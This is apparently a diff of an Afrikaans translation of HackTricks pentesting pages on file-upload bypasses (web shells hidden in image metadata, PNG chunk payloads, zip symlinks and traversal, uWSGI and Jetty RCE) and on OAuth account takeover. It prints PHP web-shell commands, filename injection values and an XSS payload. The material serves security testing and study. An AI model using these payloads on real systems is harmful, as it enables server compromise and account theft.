- Oorbrug **Inhoud-Tipe** kontrole deur die **waarde** van die **Inhoud-Tipe** **kop** in te stel op: _image/png_ , _text/plain , application/octet-stream_
1. Inhoud-Tipe **woordlys**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Oorbrug **magic number** kontrole deur aan die begin van die lêer die **bytes van 'n werklike beeld** toe te voeg (verwar die _file_ opdrag). Of stel die shell in die **metadata** in:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` of jy kan ook die **payload direk** in 'n beeld invoeg:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- As **kompressie by jou beeld gevoeg word**, byvoorbeeld deur sommige standaard PHP biblioteke soos [PHP-GD](https://www.php.net/manual/fr/book.image.php), sal die vorige tegnieke nie nuttig wees nie. Jy kan egter die **PLTE chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
- [**Github met die kode**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- Die webblad kan ook die **beeld** **hergroott**, byvoorbeeld deur die PHP-GD funksies `imagecopyresized` of `imagecopyresampled` te gebruik. Jy kan egter die **IDAT chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
- Die webblad kan ook die **beeld** **herverhouding**, byvoorbeeld deur die PHP-GD funksies `imagecopyresized` of `imagecopyresampled` te gebruik. Jy kan egter die **IDAT chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
- [**Github met die kode**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- 'n Ander tegniek om 'n payload te maak wat **'n beeld hergroting oorleef**, deur die PHP-GD funksie `thumbnailImage` te gebruik. Jy kan egter die **tEXt chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
- 'n Ander tegniek om 'n payload te maak wat **'n beeld herverhouding oorleef**, deur die PHP-GD funksie `thumbnailImage`. Jy kan egter die **tEXt chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
- [**Github met die kode**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Other Tricks to check
### Ander Trukke om te kontroleer
- Vind 'n kwesbaarheid om die lêer wat reeds opgelaai is te **hernoem** (om die uitbreiding te verander).
- Vind 'n **Local File Inclusion** kwesbaarheid om die backdoor uit te voer.
- Vind 'n **Plaaslike Lêer Insluiting** kwesbaarheid om die backdoor uit te voer.
- **Mogelijke Inligting openbaar**:
1. Laai **verskeie kere** (en op die **selfde tyd**) die **dieselfde lêer** met die **dieselfde naam** op
1. Laai **verskeie kere** (en op die **selfde tyd**) die **dieselfde lêer** met die **dieselfde naam**
2. Laai 'n lêer op met die **naam** van 'n **lêer** of **map** wat **reeds bestaan**
3. Laai 'n lêer op met **“.”, “..”, of “…” as sy naam**. Byvoorbeeld, in Apache in **Windows**, as die toepassing die opgelaaide lêers in die “/www/uploads/” gids stoor, sal die “.” lêernaam 'n lêer genaamd “uploads” in die “/www/” gids skep.
4. Laai 'n lêer op wat dalk nie maklik verwyder kan word nie, soos **“…:.jpg”** in **NTFS**. (Windows)
5. Laai 'n lêer in **Windows** op met **ongeldige karakters** soos `|<>*?”` in sy naam. (Windows)
6. Laai 'n lêer in **Windows** op met **gereserveerde** (**verbode**) **name** soos CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, en LPT9.
5. Laai 'n lêer op in **Windows** met **ongeldige karakters** soos `|<>*?”` in sy naam. (Windows)
6. Laai 'n lêer op in **Windows** met **gereserveerde** (**verbode**) **name** soos CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, en LPT9.
- Probeer ook om 'n **uitvoerbare** (.exe) of 'n **.html** (minder verdag) op te laai wat **kode sal uitvoer** wanneer dit per ongeluk deur die slagoffer geopen word.
### Special extension tricks
### Spesiale uitbreiding truuks
As jy probeer om lêers na 'n **PHP bediener** op te laai, [kyk na die **.htaccess** truuk om kode uit te voer](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
As jy probeer om lêers na 'n **PHP bediener** op te laai, [kyk na die **.htaccess** truuk om kode uit te voer](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
As jy probeer om lêers na 'n **ASP bediener** op te laai, [kyk na die **.config** truuk om kode uit te voer](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Die `.phar` lêers is soos die `.jar` vir java, maar vir php, en kan **gebruik word soos 'n php lêer** (dit met php uitvoer, of dit binne 'n skrip insluit...)
Die `.inc` uitbreiding word soms gebruik vir php lêers wat slegs gebruik word om **lêers in te voer**, so, op 'n stadium, kon iemand **hierdie uitbreiding toegelaat het om uitgevoer te word**.
Die `.inc` uitbreiding word soms gebruik vir php lêers wat slegs gebruik word om **lêers in te voer**, so, op 'n stadium, kon iemand **toelaat dat hierdie uitbreiding uitgevoer word**.
## **Jetty RCE**
As jy 'n XML-lêer na 'n Jetty-bediener kan oplaai, kan jy [RCE verkry omdat **nuwe \*.xml en \*.war outomaties verwerk word**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Soos genoem in die volgende beeld, laai die XML-lêer na `$JETTY_BASE/webapps/` en verwag die shell!
As jy 'n XML-lêer in 'n Jetty-bediener kan oplaai, kan jy [RCE verkry omdat **nuwe \*.xml en \*.war outomaties verwerk word**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Soos genoem in die volgende beeld, laai die XML-lêer op na `$JETTY_BASE/webapps/` en verwag die shell!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
@ -106,7 +106,7 @@ As jy 'n XML-lêer na 'n Jetty-bediener kan oplaai, kan jy [RCE verkry omdat **n
Vir 'n gedetailleerde verkenning van hierdie kwesbaarheid, kyk na die oorspronklike navorsing: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Remote Command Execution (RCE) kwesbaarhede kan in uWSGI bedieners benut word as iemand die vermoë het om die `.ini` konfigurasielêer te wysig. uWSGI konfigurasielêers maak gebruik van 'n spesifieke sintaksis om "magiese" veranderlikes, plekhouers en operateurs in te sluit. Veral, die '@' operateur, wat gebruik word as `@(filename)`, is ontwerp om die inhoud van 'n lêer in te sluit. Onder die verskillende ondersteunde skemas in uWSGI is die "exec" skema veral kragtig, wat die lees van data van 'n proses se standaarduitset toelaat. Hierdie kenmerk kan vir slegte doeleindes gemanipuleer word, soos Remote Command Execution of Arbitrary File Write/Read wanneer 'n `.ini` konfigurasielêer verwerk word.
Afgeleë Opdrag Uitvoering (RCE) kwesbaarhede kan in uWSGI bedieners benut word as iemand die vermoë het om die `.ini` konfigurasielêer te wysig. uWSGI konfigurasielêers maak gebruik van 'n spesifieke sintaksis om "magiese" veranderlikes, plekhouers en operateurs in te sluit. Veral, die '@' operateur, wat gebruik word as `@(filename)`, is ontwerp om die inhoud van 'n lêer in te sluit. Onder die verskillende ondersteunde skemas in uWSGI is die "exec" skema veral kragtig, wat die lees van data van 'n proses se standaarduitset toelaat. Hierdie kenmerk kan gemanipuleer word vir slegte doeleindes soos Afgeleë Opdrag Uitvoering of Willekeurige Lêer Skryf/Lees wanneer 'n `.ini` konfigurasielêer verwerk word.
Oorweeg die volgende voorbeeld van 'n skadelike `uwsgi.ini` lêer, wat verskeie skemas toon:
```ini
@ -130,7 +130,7 @@ Die uitvoering van die payload vind plaas tydens die ontleding van die konfigura
Dit is van kardinale belang om die los aard van uWSGI se konfigurasie-lêerontleding te verstaan. Spesifiek kan die bespreekte payload in 'n binêre lêer (soos 'n beeld of PDF) ingevoeg word, wat die omvang van potensiële uitbuiting verder verbreed.
## **wget Lêeroplaai/SSRF Truuk**
## **wget Lêer Laai/SSRF Trick**
In sommige gevalle mag jy vind dat 'n bediener **`wget`** gebruik om **lêers** te **af te laai** en jy kan die **URL** **aangee**. In hierdie gevalle mag die kode nagaan of die uitbreiding van die afgelaaide lêers binne 'n witlys is om te verseker dat slegs toegelate lêers afgelaai gaan word. egter, **hierdie kontrole kan omseil word.**\
Die **maksimum** lengte van 'n **lêernaam** in **linux** is **255**, egter, **wget** verkort die lêernames tot **236** karakters. Jy kan 'n lêer genaamd "A"\*232+".php"+".gif" **aflaai**, hierdie lêernaam sal die **kontrole omseil** (soos in hierdie voorbeeld is **".gif"** 'n **geldige** uitbreiding) maar `wget` sal die lêer hernoem na **"A"\*232+".php"**.
@ -156,7 +156,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
Let wel dat **'n ander opsie** wat jy dalk oorweeg om hierdie kontrole te omseil, is om die **HTTP-bediener te laat herlei na 'n ander lêer**, sodat die aanvanklike URL die kontrole sal omseil en dan sal wget die herleide lêer met die nuwe naam aflaai. Dit **sal nie werk nie** **tenzij** wget gebruik word met die **parameter** `--trust-server-names` omdat **wget die herleide bladsy met die naam van die lêer wat in die oorspronklike URL aangedui is, sal aflaai**.
Let wel dat **'n ander opsie** wat jy dalk oorweeg om hierdie kontrole te omseil, is om die **HTTP-bediener te laat herlei na 'n ander lêer**, sodat die aanvanklike URL die kontrole sal omseil en dan wget die herleide lêer met die nuwe naam sal aflaai. Dit **sal nie werk nie** **tenzij** wget gebruik word met die **parameter** `--trust-server-names` omdat **wget die herleide bladsy met die naam van die lêer wat in die oorspronklike URL aangedui is, sal aflaai**.
## Gereedskap
@ -167,14 +167,14 @@ Let wel dat **'n ander opsie** wat jy dalk oorweeg om hierdie kontrole te omseil
- Stel **lêernaam** in op `../../../tmp/lol.png` en probeer om 'n **pad traversie** te bereik
- Stel **lêernaam** in op `sleep(10)-- -.jpg` en jy mag in staat wees om 'n **SQL-inspuiting** te bereik
- Stel **lêernaam** in op `<svg onload=alert(document.domain)>` om 'n XSS te bereik
- Stel **lêernaam** in op `; sleep 10;` om 'n paar opdraginspuiting te toets (meer [opdraginspuiting truuks hier](../command-injection.md))
- Stel **lêernaam** in op `; sleep 10;` om 'n paar opdraginspuitings te toets (meer [opdraginspuitings truuks hier](../command-injection.md))
- [**XSS** in beeld (svg) lêeroplaad](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** lêer **oplaad** + **XSS** = [**Service Workers** benutting](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE in svg oplaad**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** deur die oplaad van svg lêer](../open-redirect.md#open-redirect-uploading-svg-files)
- Probeer **verskillende svg payloads** van [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
- [Beroemde **ImageTrick** kwesbaarheid](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- As jy **die webbediener kan aandui om 'n beeld van 'n URL te vang**, kan jy probeer om 'n [SSRF](../ssrf-server-side-request-forgery/index.html) te misbruik. As hierdie **beeld** gaan **gestoor** word op 'n **publieke** webwerf, kan jy ook 'n URL van [https://iplogger.org/invisible/](https://iplogger.org/invisible/) aandui en **inligting van elke besoeker steel**.
- As jy **die webbediener kan aandui om 'n beeld van 'n URL te vang**, kan jy probeer om 'n [SSRF](../ssrf-server-side-request-forgery/index.html) te misbruik. As hierdie **beeld** in 'n of ander **publieke** webwerf **gestoor** gaan word, kan jy ook 'n URL van [https://iplogger.org/invisible/](https://iplogger.org/invisible/) aandui en **inligting van elke besoeker steel**.
- [**XXE en CORS** omseiling met PDF-Adobe oplaad](pdf-upload-xxe-and-cors-bypass.md)
- Spesiaal saamgestelde PDFs vir XSS: Die [volgende bladsy toon hoe om **PDF-data in te spuit om JS-uitvoering te verkry**](../xss-cross-site-scripting/pdf-injection.md). As jy PDFs kan oplaai, kan jy 'n paar PDF's voorberei wat arbitrêre JS sal uitvoer volgens die gegewe aanwysings.
- Laai die \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) inhoud op om te kyk of die bediener enige **antivirus** het
@ -208,7 +208,7 @@ Verwys na [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wik
### Zip/Tar Lêer Outomaties gedecomprimeerde Oplaad
As jy 'n ZIP kan oplaai wat binne die bediener gaan gedecomprimeer word, kan jy 2 dinge doen:
As jy 'n ZIP kan oplaai wat binne die bediener gedecomprimeer gaan word, kan jy 2 dinge doen:
#### Symlink
@ -218,11 +218,11 @@ ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
```
### Decompress in different folders
### Decomprimeer in verskillende vouers
Die onverwagte skepping van lêers in gidse tydens dekompressie is 'n beduidende probleem. Ten spyte van aanvanklike aannames dat hierdie opstelling dalk teen OS-vlak opdraguitvoering deur kwaadwillige lêeroplaaie kan beskerm, kan die hiërargiese kompressieondersteuning en gidse traversering vermoëns van die ZIP-argiefformaat uitgebuit word. Dit stel aanvallers in staat om beperkings te omseil en veilige oplaai-gidse te ontsnap deur die dekompressiefunksionaliteit van die geteikende toepassing te manipuleer.
'n Geoutomatiseerde uitbuiting om sulke lêers te vervaardig is beskikbaar by [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Die nut kan soos volg gebruik word:
'n Geoutomatiseerde uitbuiting om sulke lêers te vervaardig is beskikbaar by [**evilarc op GitHub**](https://github.com/ptoomey3/evilarc). Die nut kan soos volg gebruik word:
```python
# Listing available options
python2 evilarc.py -h
@ -289,9 +289,9 @@ pop graphic-context
```
## Inbedde PHP Shell in PNG
Inbedde 'n PHP-shell in die IDAT-gedeelte van 'n PNG-lêer kan effektief sekere beeldverwerkingsoperasies omseil. Die funksies `imagecopyresized` en `imagecopyresampled` van PHP-GD is veral relevant in hierdie konteks, aangesien hulle algemeen gebruik word om beelde te hergroepeer en te hersampel. Die vermoë van die ingeslote PHP-shell om onaangeraak deur hierdie operasies te bly, is 'n beduidende voordeel vir sekere gebruiksgevalle.
Inbedde 'n PHP shell in die IDAT-gedeelte van 'n PNG-lêer kan effektief sekere beeldverwerkingsoperasies omseil. Die funksies `imagecopyresized` en `imagecopyresampled` van PHP-GD is veral relevant in hierdie konteks, aangesien hulle algemeen gebruik word om beelde te hergroei en te hersampel. Die vermoë van die ingeslote PHP shell om onaangeraak deur hierdie operasies te bly, is 'n beduidende voordeel vir sekere gebruiksgevalle.
'n Gedetailleerde verkenning van hierdie tegniek, insluitend die metodologie en potensiële toepassings, word in die volgende artikel verskaf: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Hierdie hulpbron bied 'n omvattende begrip van die proses en sy implikasies.
'n Gedetailleerde verkenning van hierdie tegniek, insluitend sy metodologie en potensiële toepassings, word in die volgende artikel verskaf: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Hierdie hulpbron bied 'n omvattende begrip van die proses en sy implikasies.
Meer inligting in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)

View File

@ -1,4 +1,4 @@
# OAuth na Rekening oorneem
# OAuth na Rekening oorname
{{#include ../banners/hacktricks-training.md}}
@ -6,7 +6,7 @@
OAuth bied verskeie weergawes, met fundamentele insigte beskikbaar by [OAuth 2.0 dokumentasie](https://oauth.net/2/). Hierdie bespreking fokus hoofsaaklik op die algemeen gebruikte [OAuth 2.0 magtigingskode toekennings tipe](https://oauth.net/2/grant-types/authorization-code/), wat 'n **magtigingsraamwerk bied wat 'n toepassing in staat stel om toegang te verkry of aksies op 'n gebruiker se rekening in 'n ander toepassing uit te voer** (die magtigingsbediener).
Dink aan 'n hipotetiese webwerf _**https://example.com**_, ontwerp om **al jou sosiale media plasings te vertoon**, insluitend privaat een. Om dit te bereik, word OAuth 2.0 gebruik. _https://example.com_ sal jou toestemming vra om **toegang tot jou sosiale media plasings** te verkry. Gevolglik sal 'n toestemming skerm verskyn op _https://socialmedia.com_, wat die **toestemmings wat aangevra word en die ontwikkelaar wat die versoek doen** uiteensit. Na jou magtiging, verkry _https://example.com_ die vermoë om **toegang tot jou plasings namens jou** te verkry.
Dink aan 'n hipotetiese webwerf _**https://example.com**_, ontwerp om **al jou sosiale media plasings te vertoon**, insluitend privaat ones. Om dit te bereik, word OAuth 2.0 gebruik. _https://example.com_ sal jou toestemming vra om **toegang tot jou sosiale media plasings** te verkry. Gevolglik sal 'n toestemmingskerm op _https://socialmedia.com_ verskyn, wat die **toestemmings wat aangevra word en die ontwikkelaar wat die versoek doen** uiteensit. Na jou magtiging, verkry _https://example.com_ die vermoë om **jou plasings namens jou te benader**.
Dit is noodsaaklik om die volgende komponente binne die OAuth 2.0 raamwerk te verstaan:
@ -16,13 +16,13 @@ Dit is noodsaaklik om die volgende komponente binne die OAuth 2.0 raamwerk te ve
- **authorization server**: Die **bediener wat `access tokens` uitreik** aan die `client application` na die suksesvolle verifikasie van die `resource owner` en die verkryging van magtiging, bv. **https://socialmedia.com**.
- **client_id**: 'n Publieke, unieke identifiseerder vir die toepassing.
- **client_secret:** 'n Vertroulike sleutel, bekend slegs aan die toepassing en die magtigingsbediener, wat gebruik word om `access_tokens` te genereer.
- **response_type**: 'n Waarde wat die **type token wat aangevra word** spesifiseer, soos `code`.
- **response_type**: 'n Waarde wat **die tipe token wat aangevra word** spesifiseer, soos `code`.
- **scope**: Die **vlak van toegang** wat die `client application` van die `resource owner` aan vra.
- **redirect_uri**: Die **URL waarnatoe die gebruiker herlei word na magtiging**. Dit moet tipies ooreenstem met die vooraf geregistreerde herlei URL.
- **state**: 'n parameter om **data te handhaaf oor die gebruiker se herleiding na en van die magtigingsbediener**. Die uniekheid daarvan is krities om as 'n **CSRF beskermingsmeganisme** te dien.
- **grant_type**: 'n parameter wat die **toekennings tipe en die tipe token wat teruggegee moet word** aandui.
- **code**: Die magtigingskode van die `authorization server`, wat saam met `client_id` en `client_secret` deur die client application gebruik word om 'n `access_token` te verkry.
- **access_token**: Die **token wat die client application gebruik vir API versoeke** namens die `resource owner`.
- **redirect_uri**: Die **URL waarnatoe die gebruiker na magtiging omgelei word**. Dit moet tipies ooreenstem met die vooraf geregistreerde omleidings-URL.
- **state**: 'n parameter om **data oor die gebruiker se omleiding na en van die magtigingsbediener te handhaaf**. Die uniekheid daarvan is krities om as 'n **CSRF beskermingsmeganisme** te dien.
- **grant_type**: 'n parameter wat **die toekennings tipe en die tipe token wat teruggegee moet word** aandui.
- **code**: Die magtigingskode van die `authorization server`, wat saam met `client_id` en `client_secret` deur die kliënttoepassing gebruik word om 'n `access_token` te verkry.
- **access_token**: Die **token wat die kliënttoepassing gebruik vir API versoeke** namens die `resource owner`.
- **refresh_token**: Stel die toepassing in staat om **'n nuwe `access_token` te verkry sonder om die gebruiker weer te vra**.
### Stroom
@ -30,7 +30,7 @@ Dit is noodsaaklik om die volgende komponente binne die OAuth 2.0 raamwerk te ve
Die **werklike OAuth stroom** verloop soos volg:
1. Jy navigeer na [https://example.com](https://example.com) en kies die “Integreer met Sosiale Media” knoppie.
2. Die webwerf stuur dan 'n versoek na [https://socialmedia.com](https://socialmedia.com) om jou magtiging te vra om https://example.com se toepassing toegang tot jou plasings te gee. Die versoek is gestruktureer as:
2. Die webwerf stuur dan 'n versoek na [https://socialmedia.com](https://socialmedia.com) om jou magtiging te vra om die toepassing van https://example.com toegang tot jou plasings te gee. Die versoek is gestruktureer as:
```
https://socialmedia.com/auth
?response_type=code
@ -40,7 +40,7 @@ https://socialmedia.com/auth
&state=randomString123
```
3. Jy word dan met 'n toestemmingsbladsy voorgestel.
4. Na jou goedkeuring, stuur Social Media 'n antwoord na die `redirect_uri` met die `code` en `state` parameters:
4. Na jou goedkeuring, stuur Sosiale Media 'n antwoord na die `redirect_uri` met die `code` en `state` parameters:
```
https://example.com?code=uniqueCode123&state=randomString123
```
@ -58,23 +58,23 @@ Host: socialmedia.com
Die `redirect_uri` is van kardinale belang vir sekuriteit in OAuth en OpenID implementasies, aangesien dit aandui waar sensitiewe data, soos magtigingskode, gestuur word na magtiging. As dit verkeerd geconfigureer is, kan dit aanvallers toelaat om hierdie versoeke na kwaadwillige bedieners te herlei, wat rekening oorname moontlik maak.
Eksploitasiemetodes verskil op grond van die magtiging bediener se valideringslogika. Dit kan wissel van streng pad ooreenstemming tot die aanvaarding van enige URL binne die gespesifiseerde domein of subgids. Algemene eksploitasiemetodes sluit open redirects, pad traversering, die benutting van swak regexes, en HTML-inspuiting vir token-diefstal in.
Eksploitasiemetodes verskil op grond van die magtigingsbediener se valideringslogika. Dit kan wissel van streng pad ooreenstemming tot die aanvaarding van enige URL binne die gespesifiseerde domein of subgids. Algemene eksploitasiemetodes sluit open redirects, pad traversering, die benutting van swak regexes, en HTML-inspuiting vir token-diefstal in.
Benewens `redirect_uri`, is ander OAuth en OpenID parameters soos `client_uri`, `policy_uri`, `tos_uri`, en `initiate_login_uri` ook kwesbaar vir herleidingaanvalle. Hierdie parameters is opsioneel en hul ondersteuning verskil oor bedieners.
Vir diegene wat 'n OpenID bediener teiken, lys die ontdekking eindpunt (`**.well-known/openid-configuration**`) dikwels waardevolle konfigurasiedetails soos `registration_endpoint`, `request_uri_parameter_supported`, en "`require_request_uri_registration`. Hierdie besonderhede kan help om die registrasie eindpunt en ander konfigurasiespesifieke van die bediener te identifiseer.
Vir diegene wat 'n OpenID-bediener teiken, lys die ontdekking eindpunt (`**.well-known/openid-configuration**`) dikwels waardevolle konfigurasiedetails soos `registration_endpoint`, `request_uri_parameter_supported`, en "`require_request_uri_registration`. Hierdie besonderhede kan help om die registrasie-eindpunt en ander konfigurasiespesifieke van die bediener te identifiseer.
### XSS in redirect implementasie <a href="#bda5" id="bda5"></a>
Soos genoem in hierdie bug bounty verslag [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) mag dit moontlik wees dat die redirect **URL in die antwoord** van die bediener na die gebruiker se outentisering **reflekteer**, wat **kwesbaar is vir XSS**. Moglike payload om te toets:
Soos genoem in hierdie bug bounty verslag [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) mag dit moontlik wees dat die redirect **URL in die antwoord** van die bediener na die gebruiker se outentisering **reflekteer**, wat **kwesbaar is vir XSS**. Moontlike payload om te toets:
```
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
```
### CSRF - Onbehoorlike hantering van die staat parameter <a href="#bda5" id="bda5"></a>
In OAuth implementasies kan die misbruik of weglating van die **`state` parameter** die risiko van **Cross-Site Request Forgery (CSRF)** aanvalle aansienlik verhoog. Hierdie kwesbaarheid ontstaan wanneer die `state` parameter **nie gebruik word, as 'n statiese waarde gebruik word, of nie behoorlik geverifieer word nie**, wat dit aanvallers moontlik maak om CSRF beskerming te omseil.
In OAuth implementasies kan die misbruik of omissie van die **`state` parameter** die risiko van **Cross-Site Request Forgery (CSRF)** aanvalle aansienlik verhoog. Hierdie kwesbaarheid ontstaan wanneer die `state` parameter **nie gebruik, as 'n statiese waarde gebruik, of nie behoorlik geverifieer** word nie, wat dit aanvallers moontlik maak om CSRF beskerming te omseil.
Aanvallers kan dit benut deur die magtiging proses te onderskep om hul rekening met 'n slagoffer se rekening te koppel, wat kan lei tot potensiële **rekening oorname**. Dit is veral krities in toepassings waar OAuth gebruik word vir **authentikasie doeleindes**.
Aanvallers kan dit benut deur die magtiging proses te onderskep om hul rekening met 'n slagoffer se rekening te koppel, wat kan lei tot potensiële **rekening oorname**. Dit is veral krities in toepassings waar OAuth vir **authentikasie doeleindes** gebruik word.
Werklike voorbeelde van hierdie kwesbaarheid is gedokumenteer in verskeie **CTF uitdagings** en **hacking platforms**, wat die praktiese implikasies daarvan uitlig. Die probleem strek ook tot integrasies met derdeparty dienste soos **Slack**, **Stripe**, en **PayPal**, waar aanvallers kennisgewings of betalings na hul rekeninge kan herlei.
@ -82,14 +82,14 @@ Behoorlike hantering en verifikasie van die **`state` parameter** is van kardina
### Voor Rekening Oorname <a href="#ebe4" id="ebe4"></a>
1. **Sonder E-pos Verifikasie by Rekening Skep**: Aanvallers kan proaktief 'n rekening skep met die slagoffer se e-pos. As die slagoffer later 'n derdeparty diens vir aanmelding gebruik, kan die toepassing per ongeluk hierdie derdeparty rekening aan die aanvaller se vooraf geskepte rekening koppel, wat lei tot ongemagtigde toegang.
2. **Misbruik van Los OAuth E-pos Verifikasie**: Aanvallers mag OAuth dienste misbruik wat nie e-posse verifieer nie deur met hul diens te registreer en dan die rekening e-pos na die slagoffer s'n te verander. Hierdie metode hou soortgelyke risiko's van ongemagtigde rekening toegang in, soortgelyk aan die eerste scenario, maar deur 'n ander aanvalsvector.
1. **Sonder E-pos Verifikasie by Rekening Skep**: Aanvallers kan proaktief 'n rekening skep met die slagoffer se e-pos. As die slagoffer later 'n derdeparty diens vir aanmelding gebruik, kan die toepassing per ongeluk hierdie derdeparty rekening aan die aanvaller se vooraf geskepte rekening koppel, wat lei tot ongeoorloofde toegang.
2. **Misbruik van Los OAuth E-pos Verifikasie**: Aanvallers kan OAuth dienste misbruik wat nie e-posse verifieer nie deur met hul diens te registreer en dan die rekening e-pos na die slagoffer s'n te verander. Hierdie metode hou soortgelyke risiko's van ongeoorloofde rekening toegang in, soortgelyk aan die eerste scenario, maar deur 'n ander aanvalsvector.
### Onthulling van Geheime <a href="#e177" id="e177"></a>
Identifisering en beskerming van geheime OAuth parameters is van kardinale belang. Terwyl die **`client_id`** veilig onthul kan word, hou die onthulling van die **`client_secret`** aansienlike risiko's in. As die `client_secret` gecompromitteer word, kan aanvallers die identiteit en vertroue van die toepassing benut om **gebruikers `access_tokens`** en private inligting te **steel**.
Identifisering en beskerming van geheime OAuth parameters is van kardinale belang. Terwyl die **`client_id`** veilig bekend gemaak kan word, hou die onthulling van die **`client_secret`** aansienlike risiko's in. As die `client_secret` gecompromitteer word, kan aanvallers die identiteit en vertroue van die toepassing misbruik om **gebruikers `access_tokens`** en private inligting te **steel**.
'n Algemene kwesbaarheid ontstaan wanneer toepassings per ongeluk die uitruil van die magtiging `code` vir 'n `access_token` aan die kliënt-kant hanteer eerder as die bediener-kant. Hierdie fout lei tot die blootstelling van die `client_secret`, wat dit aanvallers moontlik maak om `access_tokens` onder die dekmantel van die toepassing te genereer. Boonop, deur sosiale ingenieurswese, kan aanvallers voorregte verhoog deur addisionele skope aan die OAuth magtiging toe te voeg, wat die toepassing se vertroude status verder benut.
'n Algemene kwesbaarheid ontstaan wanneer toepassings per ongeluk die uitruil van die magtiging `code` vir 'n `access_token` aan die kliëntkant hanteer eerder as die bedienerkant. Hierdie fout lei tot die blootstelling van die `client_secret`, wat dit aanvallers moontlik maak om `access_tokens` onder die dekmantel van die toepassing te genereer. Boonop, deur sosiale ingenieurswese, kan aanvallers voorregte verhoog deur addisionele skope aan die OAuth magtiging toe te voeg, wat die toepassing se vertroude status verder misbruik.
### Kliënt Geheim Bruteforce
@ -108,15 +108,15 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
Sodra die kliënt die **code en state** het, as dit **binne die Referer header weerspieël word** wanneer hy na 'n ander bladsy blaai, dan is dit kwesbaar.
### Toegangstoken gestoor in Blaaier Geskiedenis
### Toegangstoken gestoor in Bladsygeskiedenis
Gaan na die **blaaier geskiedenis en kyk of die toegangstoken daarin gestoor is**.
Gaan na die **bladsygeskiedenis en kyk of die toegangstoken daar gestoor is**.
### Ewige Outeurskode
Die **auteurskode moet net vir 'n kort tydjie bestaan om die tydsvenster te beperk waarbinne 'n aanvaller dit kan steel en gebruik**.
Die **auteurskode moet net vir 'n kort tydjie bestaan om die tydsvenster te beperk waar 'n aanvaller dit kan steel en gebruik**.
### Outeurs-/Herlaai Token nie aan kliënt gebind nie
### Auteurs-/Herlaai Token nie aan kliënt gebind nie
